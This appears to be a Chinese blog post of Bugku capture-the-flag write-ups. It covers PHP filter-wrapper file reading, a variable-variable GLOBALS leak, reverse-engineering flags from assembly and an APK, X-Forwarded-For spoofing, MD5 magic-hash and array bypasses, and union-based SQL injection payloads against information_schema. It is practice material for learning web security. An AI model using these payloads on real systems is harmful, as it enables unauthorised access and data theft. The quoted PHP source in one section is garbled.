Bugku题解

flag在index里

打开题目,显示的是一个链接


Bugku题解_第1张图片
image.png

查看源代码,也只有一个链接,点开链接,返回了 Oh on!

根据题目提示,flag 在 index 里,所以想办法读取 index.php 的源码

这时候需要用到 php 伪协议
参考表哥文章

构造 url 地址

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

然后进行解密,得到flag

变量1

打开题目,页面是这样的

flag In the variable ! 

第一行 flag in the variable 提示我们 flag 在变量里,然后审计下面的代码,需要我们传入一个变量 args ,然后判断这个变量是否已经设置了 ,之后是一个正则匹配。"^" 代表的是匹配字符串的开始位置,“$” 代表的是匹配字符串的结尾位置,“\w” 代表匹配字母(在PHP中是这样,其他地方可以用来匹配字母,数字,下划线),“+” 表示前面的字符串匹配一次或多次。如果不匹配,就直接 die(退出当前脚本,并输出一条消息),否则就执行

eval("var_dump($$args);");

注意这里有两个 “$”

$$args

两个 "$" 说明这是一个可变变量
我们可以通过一个一个传入 PHP 的预定义变量获得 flag ,不过在 PHP 里面有一个 GLOBAL 变量 ,直接包含了所有的全局变量,所以我们只要传入 args=GLOBAlS 注意 GLOBALS 要大写,就可以获取到 flag 了。

http://123.206.87.240:8004/index1.php?args=GLOBALS
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=>
 array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { }
 ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" 
["args"]=> string(7) "GLOBALS" } 


#入门逆向

这道题。。。
先运行程序,看看是个什么内容,一打开立马闪退。。。于是拖到 OD 里,来一下智能搜索试试。

中文搜索引擎
地址 反汇编 文本字符串
00401348 mov dword ptr ss:[esp],baby.00405000 libgcc_s_dw2-1.dll
0040135F mov dword ptr ss:[esp],baby.00405000 libgcc_s_dw2-1.dll
00401375 mov dword ptr ss:[esp+0x4],baby.00405013 __register_frame_info
0040138A mov dword ptr ss:[esp+0x4],baby.00405029 __deregister_frame_info
004013C0 mov dword ptr ss:[esp],baby.00405041 libgcj-16.dll
004013D8 mov dword ptr ss:[esp+0x4],baby.0040504F _Jv_RegisterClasses
0040146E mov dword ptr ss:[esp],baby.00405064 Hi~ this is a babyre //注意这里,跟进入看看
00401A50 push esi (Initial CPU selection)
00401D3E mov dword ptr ss:[esp],baby.00405080 Mingw runtime failure:\n
00401E54 mov dword ptr ss:[esp],baby.00405098 VirtualQuery failed for %d bytes at address %p
00401F21 mov dword ptr ss:[esp],baby.00405100 Unknown pseudo relocation bit size %d.\n
0040201F mov dword ptr ss:[esp],baby.004050CC Unknown pseudo relocation protocol version %d.\n
00402829 mov edi,baby.0040512C .
0040302D mov dword ptr ds:[esi],baby.0040512E glob-1.0-mingw32
004031A8 mov dword ptr ss:[esp+0x4],baby.00405142 .
004031D9 mov dword ptr ss:[esp+0x4],baby.00405142 .

跟进入以后,啥都没发现。。。程序运行起来就只有一句话,也没有其它提示,我寻思着用 IDA 试试,结果打开之后是这样

.text:00401460 push ebp
.text:00401461 mov ebp, esp
.text:00401463 and esp, 0FFFFFFF0h
.text:00401466 sub esp, 30h
.text:00401469 call ___main
.text:0040146E mov dword ptr [esp], offset aHiThisIsABabyr ; "Hi~ this is a babyre"
.text:00401475 call _printf
.text:0040147A mov byte ptr [esp+2Fh], 66h
.text:0040147F mov byte ptr [esp+2Eh], 6Ch
.text:00401484 mov byte ptr [esp+2Dh], 61h
.text:00401489 mov byte ptr [esp+2Ch], 67h
.text:0040148E mov byte ptr [esp+2Bh], 7Bh
.text:00401493 mov byte ptr [esp+2Ah], 52h
.text:00401498 mov byte ptr [esp+29h], 65h
.text:0040149D mov byte ptr [esp+28h], 5Fh
.text:004014A2 mov byte ptr [esp+27h], 31h
.text:004014A7 mov byte ptr [esp+26h], 73h
.text:004014AC mov byte ptr [esp+25h], 5Fh
.text:004014B1 mov byte ptr [esp+24h], 53h
.text:004014B6 mov byte ptr [esp+23h], 30h
.text:004014BB mov byte ptr [esp+22h], 5Fh
.text:004014C0 mov byte ptr [esp+21h], 43h
.text:004014C5 mov byte ptr [esp+20h], 30h
.text:004014CA mov byte ptr [esp+1Fh], 4Fh
.text:004014CF mov byte ptr [esp+1Eh], 4Ch
.text:004014D4 mov byte ptr [esp+1Dh], 7Dh
.text:004014D9 mov eax, 0
.text:004014DE leave
.text:004014DF retn

不对啊,这么一个入门题,应该是可以直接出 flag 的啊,再仔细看看,这后面这一堆16进制的数据是个啥,[转换一下试试](http://www.ab126.com/goju/1711.html)?

然后就出 flag 了,完后我在网上搜了一下,人家的 IDA 反编译之后直接就可以看到数据了,我这个......是我哪里没设置好吗?

#BKCTF-web4

打开网页,题目提示我看看源代码,所以就打开看看吧

 BKCTF-WEB4  
看看源代码?

对中间的那两串字符解码

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

54aa2

这个的结果很明显了,对输入的值进行比较,如果输入的值等于 ```p1+54aa2+p2```,就输出 flag ,于是输入

67d709b2b54aa2aa648cf6e87a7114f1

得到结果

KEY{J22JK-HS11}

题目里面出现了一个 unescape 的函数,这是一个解码函数,[unescape解码](http://www.runoob.com/jsref/jsref-unescape.html)

Escape/Unescape加密解码/编码解码,又叫%u编码,从以往经验看编码字符串出现有"u",它是unicode编码,那么Escape编码采用是那一种unicode实现形式呢。其实是UTF-16BE模式。这样一来问题非常简单了。 Escape编码/加密,就是字符对应UTF-16 16进制表示方式前面加%u。Unescape解码/解密,就是去掉"%u"后,将16进制字符还原后,由utf-16转码到自己目标字符。如:字符“中”,UTF-16BE是:“6d93”,因此Escape是“%u6d93”,反之也一样!因为目前%字符,常用作URL编码,所以%u这样编码已经逐渐被废弃了!


#管理员系统

打开网页,提示输入用户名和密码登陆,有点像是 SQL 注入的题,当随意输入一个值提交之后,又有如下提示
```IP禁止访问,请联系本地管理员登陆,IP已被记录. ```
查看源码没有发现任何线索,然而打开浏览器的控制台反而发现了一点东西
![image.png](https://upload-images.jianshu.io/upload_images/8520837-8f12a5695e176247.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
将注释中的字符串进行解密,得到的结果是 ```test123```,再联系页面上的联系本地管理员登陆,IP已被记录。本地管理员?IP?想到了IP地址伪造。
于是就伪造一个本地IP登陆,对提交的数据抓包,添加一个```X-Forwarded-For```请求头,值为```127.0.0.1```
于是乎就得到了flag。。。。。。。。。。
![image.png](https://upload-images.jianshu.io/upload_images/8520837-1aad46405c1065ba.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)



#点击100万次


这个题很简单,点击一百万次,肯定不是用手点,并且题目已经提示了 javascript 

打开题目,按下 F12 进入开发者模式,在控制台里直接把 clicks 赋值成 999999 ,这时候只需要单击一次屏幕就实现了点击一百万次。

这时候可以查看源代码就可以看到 flag 了,也可以在刚才点击之后抓包,然后再抓取返回包,在 burp 中抓取返回包的操作如下

![image.png](https://upload-images.jianshu.io/upload_images/8520837-44878ce4abd68d95.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

这时候返回包里就有 flag 了
![image.png](https://upload-images.jianshu.io/upload_images/8520837-5689b7b7f12fc6f2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#备份是个好习惯


打开题目,就是一串字符串
```d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e```
先拿去解密一下试试,结果得到了一个空密码。
![image.png](https://upload-images.jianshu.io/upload_images/8520837-27d61210dc7e3244.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
这个时候就得考虑一下其它线索了,回看题目“备份是个好习惯”,和备份有关???那扫扫看

![image.png](https://upload-images.jianshu.io/upload_images/8520837-c7d7b109819e0db2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
扫出来了一个 bak 文件。 **小知识:备份文件一般都是.bak或者.swp**
把备份文件下载下来,打开之后是网页的源码。

/**

  • Created by PhpStorm.
  • User: Norse
  • Date: 2017/8/6
  • Time: 20:22
    */

include_once "flag.php";//包含 flag.php 文件
ini_set("display_errors", 0);//设置不返回错误信息
_SERVER['REQUEST_URI'], '?');//判断URL里是否有问号,存在就返回给 str = substr(str = str_replace('key','',str 里面的 key 替换为空
parse_str(key1);//将 key1 进行 MD5 加密并输出

echo md5(key1) == md5(key1 !== flag."取得flag";//如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>

阅读源码,在这里贴上函数的用法
[strstr()](http://www.runoob.com/php/func-string-strstr.html)
[substr()](http://www.runoob.com/php/func-string-substr.html)
[str_replace()](http://www.runoob.com/php/func-string-str-replace.html)
[parse_str()](http://www.runoob.com/php/func-string-parse-str.html)

到这里,就只剩下一个问题了,如果绕过两个不同的值有相同的 MD5?
1.我们都知道,MD5 加密是对字符串进行加密,那么如果我们传入的不是字符串,而是一个数组呢??? 它没法进行加密,返回空,结果不就相等了吗。
所以就可以构造这么一个 URL
```http://123.206.87.240:8002/web16/index.php?kkeyey1[]=wsafe&kkeyey2[]=sjkfsfd```
2.还有一个办法,众所周知,科学计数法是 *e***** ,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了,在网上查了一下,找到了这么几个。

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

前面之所以传入的是 kkeyey1 而不是 key1 ,是为了绕过 str_replace 这个函数的限制,这个函数将 key 替换为空,剩下的拼接在一起正好就成了 key1.


#学生成绩查询

打开网页之后,看到的是一个输入框,输入 id 可以查询成绩信息。看到输入,就先想到注入,试了个 and 1=1 就检测出存在 SQL 注入。
![image.png](https://upload-images.jianshu.io/upload_images/8520837-941de2b8fa703d9c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![image.png](https://upload-images.jianshu.io/upload_images/8520837-2e6a9e6b5fb84683.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


然后第一时间想的是拿 sqlmap 来扫,但是用  --forms 检测 post 注入,竟然提示我不存在注入??? WTF???

看来还是得靠双手致富啊

id=0' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),version(),user(),4#


id=0' union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),version(),user(),4#


id=0' union select(select skctf_flag from fl4g),version(),user(),4#

最后得到 flag 了
![image.png](https://upload-images.jianshu.io/upload_images/8520837-d43e79e7085a4378.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#Easy-re

直接载入OD
得到flag
搜索字符串
![image.png](https://upload-images.jianshu.io/upload_images/8520837-c805a422cfd5fe21.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#TImer

下载文件,可以看到这是一个 apk 文件
先放到模拟器里运行一下,有个200000秒的倒计时,猜测它应该是倒计时结束就获取 flag 
于是用 AndroidKiller 打开
![image](http://upload-images.jianshu.io/upload_images/8520837-a81de8ca6f534ff5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

查看 java 源码 
![image](http://upload-images.jianshu.io/upload_images/8520837-9ea656426d201206.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

一开始的代码

int beg = (int)(System.currentTimeMillis() / 1000L) + 200000;
int k = 0;
int now;
long t = 0L;

注意这个 oncreate

protected void onCreate(final Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130968600);
paramBundle = (TextView)findViewById(2131492944);
final TextView localTextView = (TextView)findViewById(2131492945);
final Handler localHandler = new Handler();
localHandler.postDelayed(new Runnable()
{
public void run()
{
MainActivity.this.t = System.currentTimeMillis();
MainActivity.this.now = ((int)(MainActivity.this.t / 1000L));
MainActivity.this.t = (1500L - MainActivity.this.t % 1000L);
localTextView.setText("AliCTF");
if (MainActivity.this.beg - MainActivity.this.now <= 0)
{
paramBundle.setText("The flag is:");
localTextView.setText("alictf{" + MainActivity.this.stringFromJNI2(MainActivity.this.k) + "}");
}
MainActivity localMainActivity;
if (MainActivity.is2(MainActivity.this.beg - MainActivity.this.now)) {
localMainActivity = MainActivity.this;
}
for (localMainActivity.k += 100;; localMainActivity.k -= 1)
{
paramBundle.setText("Time Remaining(s):" + (MainActivity.this.beg - MainActivity.this.now));
localHandler.postDelayed(this, MainActivity.this.t);
return;
localMainActivity = MainActivity.this;
}
}
}, 0L);
}

看这里

if (MainActivity.is2(MainActivity.this.beg - MainActivity.this.now)) {
localMainActivity = MainActivity.this;
}
for (localMainActivity.k += 100;; localMainActivity.k -= 1)
{
paramBundle.setText("Time Remaining(s):" + (MainActivity.this.beg - MainActivity.this.now));
localHandler.postDelayed(this, MainActivity.this.t);

这里调用了一个 ```is2```,我们看下他的功能

public static boolean is2(int paramInt)
{
if (paramInt <= 3) {
if (paramInt <= 1) {}
}
for (;;)
{
return true;
return false;
if ((paramInt % 2 == 0) || (paramInt % 3 == 0)) {
return false;
}
int i = 5;
while (i * i <= paramInt)
{
if ((paramInt % i == 0) || (paramInt % (i + 2) == 0)) {
return false;
}
i += 6;
}
}
}

可以写一个脚本把 k 的值跑出来

coding = utf-8

def is2(n):
if (n <= 3):
if(n > 1):
return True
return False
elif ((n % 2 == 0) or (n % 3 == 0)):
return False
else:
i = 5
while( i * i <= n):
if ( n % i == 0 or n % (i + 2) == 0):
return False
i += 6
return True

k = 0

for i in range(200000,0,-1):
k = k + 100 if is2(i) else k -1

print(k)

得到   ```k=1616384```
再进入 AndrodKiller 搜索 flag 
修改这里
![image](http://upload-images.jianshu.io/upload_images/8520837-46e114dfe284930c.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

再修改这里
![image](http://upload-images.jianshu.io/upload_images/8520837-39ff9e01afdd54d3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

保存,编译,放到模拟器里运行就可以获得 flag 了。

你可能感兴趣的:(Bugku题解)